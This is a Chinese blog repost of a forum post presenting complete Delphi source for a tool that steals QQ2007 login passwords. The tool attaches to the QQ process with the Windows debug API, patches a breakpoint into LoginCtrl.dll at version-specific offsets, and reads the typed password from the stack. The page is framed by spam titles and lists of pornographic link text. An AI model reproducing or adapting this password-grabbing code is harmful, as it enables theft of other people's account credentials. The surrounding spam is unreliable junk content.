青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

利用Debug Api 獲得QQ2007密碼

Posted on 2010-01-13 21:47 S.l.e!ep.¢% 閱讀(398) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
利用Debug Api 獲得QQ2007密碼
open[xgc] 當前離線 添加 open[xgc] 的聲望 反映此帖

標 題: 利用Debug Api 獲得QQ2007密碼
作 者: open[xgc]
時 間: 2008-03-04,12:52
鏈 接: http://bbs.pediy.com/showthread.php?t=60623

隨手寫寫的代碼.這是上年的代碼.2008版同樣可以在ESP+24讀取密碼.只不過下斷位置不同罷了.

{*******************************************************}
{???????????????????????????????????????????????????????}
{???????利用Debug?Api?獲得QQ2007密碼????????????????????}
{???只支持QQ2007版本為7.1.576.1763或7.0.431.1723????????}
{???????版權所有?(C)?2008?Open[x.g.c]???????????????????}
{???????????????????????????????????????????????????????}
{*******************************************************}

unit?Unit1;

interface

uses
??Windows,?Messages,?SysUtils,?Variants,?Classes,?Graphics,?Controls,?Forms,
??Dialogs,?StdCtrls,?ComCtrls,psapi,StrUtils;

type
??TForm1?=?class(TForm)
????Button1:?TButton;
????Label1:?TLabel;
????procedure?Button1Click(Sender:?TObject);
??private
????{?Private?declarations?}
??public
????{?Public?declarations?}
??end;

var
??Form1:?TForm1;
const
????Code?:DWORD?=?$CC;
????JCode?:DWORD?=$8D;
implementation

{$R?*.dfm}
var
??ProcessID:?DWORD;

function?HexToInt(HexStr:?string):?Int64;
var
??RetVar:?Int64;
??i:?byte;
begin
??HexStr?:=?UpperCase(HexStr);
??if?HexStr[length(HexStr)]?=?'H'?then
????Delete(HexStr,?length(HexStr),?1);
??RetVar?:=?0;
??for?i?:=?1?to?length(HexStr)?do?begin
????RetVar?:=?RetVar?shl?4;
????if?HexStr[i]?in?['0'..'9']?then
??????RetVar?:=?RetVar?+?(byte(HexStr[i])?-?48)
????else
??????if?HexStr[i]?in?['A'..'F']?then
????????RetVar?:=?RetVar?+?(byte(HexStr[i])?-?55)
??????else?begin
????????Retvar?:=?0;
????????break;
??????end;
??end;
??Result?:=?RetVar;
end;


function?GetMem(nOK??:THANDLE;Addr:DWORD;len:integer=0):string;
const?FindCount=100;
var
????buf1:array[0..FindCount]?of?pchar?;
????OK??:BOOL;
????nSize:?DWORD;
????lpNumberOfBytesRead:cardinal;
????res,tmp:string;
????s:array[0..FindCount]?of?string;
????i:integer;
begin
??if?len<>0?then?begin
????nSize:=len?;
????buf1[0]:=AllocMem(nSize);
????OK?:=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
????if(OK?or?(nSize<>lpNumberOfBytesRead))?then?begin
??????s[0]:='';
??????for?i?:=0??to?nSize-1?do??begin
????????s[0]?:=?s[0]?+?format('%.2X',[ord(buf1[0][i])]);
??????end;
????end;
????FreeMem(buf1[0],?nSize);
????tmp:=s[0];
????i:=1;
????res:='';
????while?i<length(tmp)?do?begin
??????res:=res+chr(HexToInt(copy(tmp,i,2)));
??????inc(i,2);
????end;
????result:=res;
????exit;
??end;
end;



procedure?NewProcess;
??var
??????I:?Integer;
??????Count:?DWORD;
??????ModHandles:?array[0..$3FFF?-?1]?of?DWORD;
??????ModInfo:?TModuleInfo;
??????ModName:?array[0..MAX_PATH]?of?char;
??????Num?:?Cardinal;
??????Rc,ok?:Boolean;
??????DebugD:?DEBUG_EVENT;
??????Context:?_CONTEXT;
??????base:?Pointer;
??????ProcHand?:?THandle;
??????ThreadHandle?:THandle;
??????EAX?:?string;
begin
??????ProcHand?:=?OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
??????if?ProcHand?<>?0?then
???try
??????EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
??????????for?I?:=0?to?(Count?div?SizeOf(DWORD))?-?1?do
??????????????if?(GetModuleFileNameEx(ProcHand,ModHandles[I],ModName,SizeOf(ModName))?>?0)?and?GetModuleInformation(ProcHand,
??????????????????ModHandles[I],@ModInfo,SizeOf(ModInfo))?and?(RightStr(UpperCase(ModName),13)=?'LOGINCTRL.DLL')?then
???????????????????begin
?????????????????????if??DWord(ModInfo.EntryPoint)?-?Dword(ModInfo.lpBaseOfDll)?=?$22C3A?then
?????????????????????base?:=??Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90);
?????????????????????if??DWord(ModInfo.EntryPoint)?-?Dword(ModInfo.lpBaseOfDll)?=?$2043A?then
?????????????????????base?:=??Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3);
?????????????????????ok?:=?WriteProcessMemory(ProcHand,base,@Code,1,Num);
?????????????????????if?not?ok?then?Exit;
?????????????????????if??not?DebugActiveProcess(ProcessID)?then??Exit;
?????????????????????Rc?:=?True;
?????while?WaitForDebugEvent(DebugD,?INFINITE)?do
???????begin
?????????case?DebugD.dwDebugEventCode?of
????????????EXIT_PROCESS_DEBUG_EVENT:
?????????begin
????????????Form1.Label1.Caption?:=?'被調試進程中止';
????????????Break;
???????????end;
????????????CREATE_PROCESS_DEBUG_EVENT:
?????????begin
????????????ThreadHandle?:=?DebugD.CreateProcessInfo.hThread;
????????????Form1.Label1.Caption?:=?'請輸入密碼點登錄';
??????????end;
?????????????EXCEPTION_DEBUG_EVENT:
?????????begin
???????????case?DebugD.Exception.ExceptionRecord.ExceptionCode?of
?????????????EXCEPTION_BREAKPOINT:
??????begin
?????????if??base?=?DebugD.Exception.ExceptionRecord.ExceptionAddress?then
?????????begin
???????????Context.ContextFlags?:=?CONTEXT_FULL;
???????????GetThreadContext(ThreadHandle,?Context);
???????????EAX?:=?Trim(GetMem(ProcHand,Context.Esp?+?$24,20));
???????????Form1.Label1.Caption?:=?'QQ密碼:'?+?EAX??;
???????????Rc?:=?WriteProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num);
???????????Context.Eip?:=?dword(base);
???????????SetThreadContext(ThreadHandle,?Context);
????????end;
??????end;
???end;
???????end;
??????end;
????if?Rc?then
??????ContinueDebugEvent(DebugD.dwProcessId,?DebugD.dwThreadId,DBG_CONTINUE)
????else
??????ContinueDebugEvent(DebugD.dwProcessId,?DebugD.dwThreadId,?DBG_EXCEPTION_NOT_HANDLED);
????end;
??????CloseHandle(ThreadHandle);
??end;
??????finally
??????????CloseHandle(ProcHand);
??????end;
??end;


procedure?TForm1.Button1Click(Sender:?TObject);
var
??h:?HWND;
??ThreadID:?THandle;
begin
??h?:=?FindWindow(nil,'QQ用戶登錄');
??if?h?=?0?then
?begin
??Form1.Label1.Caption?:=?'沒有找到QQ登錄框'??;
??Exit;
?end;
??GetWindowThreadProcessId(h,ProcessID)?;
??CreateThread(nil,?0,?@NewProcess,?nil,?0,?ThreadID)?;
end;

end.
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美日韩视频在线| 欧美激情a∨在线视频播放| 国产精品高潮呻吟久久av无限| 日韩一级二级三级| 99精品久久| 国产性猛交xxxx免费看久久| 久久人91精品久久久久久不卡| 久久riav二区三区| 亚洲精品偷拍| 一区二区三区不卡视频在线观看 | 久久本道综合色狠狠五月| 激情综合自拍| 亚洲美女色禁图| 国产精品亚洲欧美| 欧美 日韩 国产在线| 欧美日韩国产在线观看| 久久黄色影院| 欧美精品在线极品| 久久国产乱子精品免费女| 美女诱惑黄网站一区| 亚洲夜间福利| 老司机午夜精品视频| 亚洲已满18点击进入久久| 久久精品官网| 亚洲一区二区三区涩| 久久米奇亚洲| 午夜一区二区三区不卡视频| 乱码第一页成人| 欧美一区二区三区日韩| 欧美精品国产精品| 久久综合一区| 国产精品视频99| 亚洲日本久久| 一区二区在线视频观看| 亚洲一区二区欧美| aⅴ色国产欧美| 久久精品一区蜜桃臀影院| 国产精品99久久久久久久vr| 美女被久久久| 久久在线免费视频| 国产精品欧美日韩久久| 亚洲黄色一区二区三区| 亚洲电影免费观看高清完整版| 亚洲影院高清在线| 一区二区三区av| 欧美福利电影在线观看| 欧美成人高清| 狠狠色狠狠色综合人人| 亚洲欧美资源在线| 午夜欧美大尺度福利影院在线看| 欧美日产国产成人免费图片| 亚洲国产欧美在线人成| 亚洲国产成人精品久久| 久久婷婷蜜乳一本欲蜜臀| 久久精品1区| 国产日韩精品电影| 欧美一区二区国产| 久久成人综合网| 国产伦精品一区二区三区四区免费 | 久久爱另类一区二区小说| 欧美午夜久久| 中日韩美女免费视频网站在线观看| 亚洲最新视频在线| 欧美理论大片| 99这里只有精品| 一区二区日韩伦理片| 欧美日韩亚洲视频一区| 99国产精品一区| 亚洲午夜精品福利| 国产精品久久二区二区| 亚洲欧美文学| 久久综合99re88久久爱| 在线观看一区二区精品视频| 久久综合伊人77777蜜臀| 欧美国产精品劲爆| 一区二区三区日韩| 国产精品久久久对白| 先锋亚洲精品| 免费亚洲电影在线观看| 日韩一区二区精品| 欧美性猛交xxxx免费看久久久 | 国产精品99久久99久久久二8 | 亚洲日本欧美| 亚洲欧美视频一区| 国内一区二区三区| 欧美韩国日本一区| 亚洲视频在线二区| 久久精品国产999大香线蕉| 在线观看中文字幕不卡| 欧美日本精品在线| 欧美亚洲在线视频| 亚洲黄色影院| 久久蜜桃精品| 99精品久久久| 国产一区二区三区在线播放免费观看| 久久九九全国免费精品观看| 亚洲国产天堂久久综合网| 亚洲欧美三级伦理| 亚洲日本欧美| 国产日韩欧美在线看| 欧美福利视频在线| 小嫩嫩精品导航| 亚洲美女色禁图| 老色批av在线精品| 亚洲一二区在线| 亚洲国产欧洲综合997久久| 国产精品theporn| 欧美成人日韩| 久久大综合网| 在线视频日韩精品| 亚洲国产综合在线看不卡| 久久精品1区| 亚洲欧美日韩中文播放| 亚洲激情成人| 国模精品娜娜一二三区| 欧美午夜视频网站| 欧美韩日一区二区| 久久久青草婷婷精品综合日韩| 一区二区av| 亚洲激情欧美| 欧美成年人网| 蜜桃av久久久亚洲精品| 久久成人资源| 久久成人久久爱| 亚洲男人天堂2024| 亚洲午夜精品视频| 夜夜嗨一区二区| 亚洲另类在线一区| 亚洲激情影院| 在线观看日韩| 尤妮丝一区二区裸体视频| 国产亚洲一区在线| 国产亚洲精品v| 国产欧美日韩中文字幕在线| 国产精品久久国产精品99gif| 欧美精品乱码久久久久久按摩| 免费成人激情视频| 欧美成人一区二区在线| 美国十次了思思久久精品导航| 久久精品国产一区二区电影| 午夜一区二区三区在线观看| 亚洲欧美国产视频| 午夜精品福利一区二区三区av| 亚洲欧美日本国产专区一区| 亚洲欧美电影院| 欧美亚洲一区三区| 久久久久**毛片大全| 老司机午夜精品视频在线观看| 久久躁日日躁aaaaxxxx| 麻豆乱码国产一区二区三区| 欧美成年人在线观看| 欧美精品激情在线| 国产精品久久久久久久久久免费看 | 亚洲国产一二三| 亚洲人成在线观看| 亚洲天堂黄色| 欧美专区在线观看| 欧美xxx在线观看| 欧美三日本三级少妇三99| 国产精品欧美一区二区三区奶水| 国产精品成人在线| 国产欧美精品一区| 亚洲电影免费观看高清完整版| 亚洲免费精品| 欧美一区二区视频观看视频| 久久久久久久久岛国免费| 亚洲成色777777在线观看影院| 亚洲欧洲精品一区| 亚洲欧美日本国产专区一区| 久久在线免费| 国产精品大片wwwwww| 国产一区日韩二区欧美三区| 亚洲精品在线三区| 欧美在线免费视屏| 亚洲国产精品va在线看黑人动漫| 夜夜嗨一区二区| 久久精品国产99国产精品澳门| 欧美成人精品一区二区三区| 国产伦一区二区三区色一情| 亚洲激情在线播放| 欧美在线观看一区二区| 亚洲国产综合在线看不卡| 亚洲欧美日本精品| 欧美日韩国产成人在线观看| 国内综合精品午夜久久资源| 一本到12不卡视频在线dvd| 久久久久www| 亚洲精品一区二区在线观看| 久久狠狠婷婷| 国产精品天美传媒入口| 亚洲精品视频在线| 久久综合五月天婷婷伊人| 亚洲社区在线观看| 欧美a级一区| 一区视频在线看| 久久精品国产999大香线蕉| 妖精视频成人观看www| 欧美高清在线精品一区| 永久免费精品影视网站| 久久国产手机看片|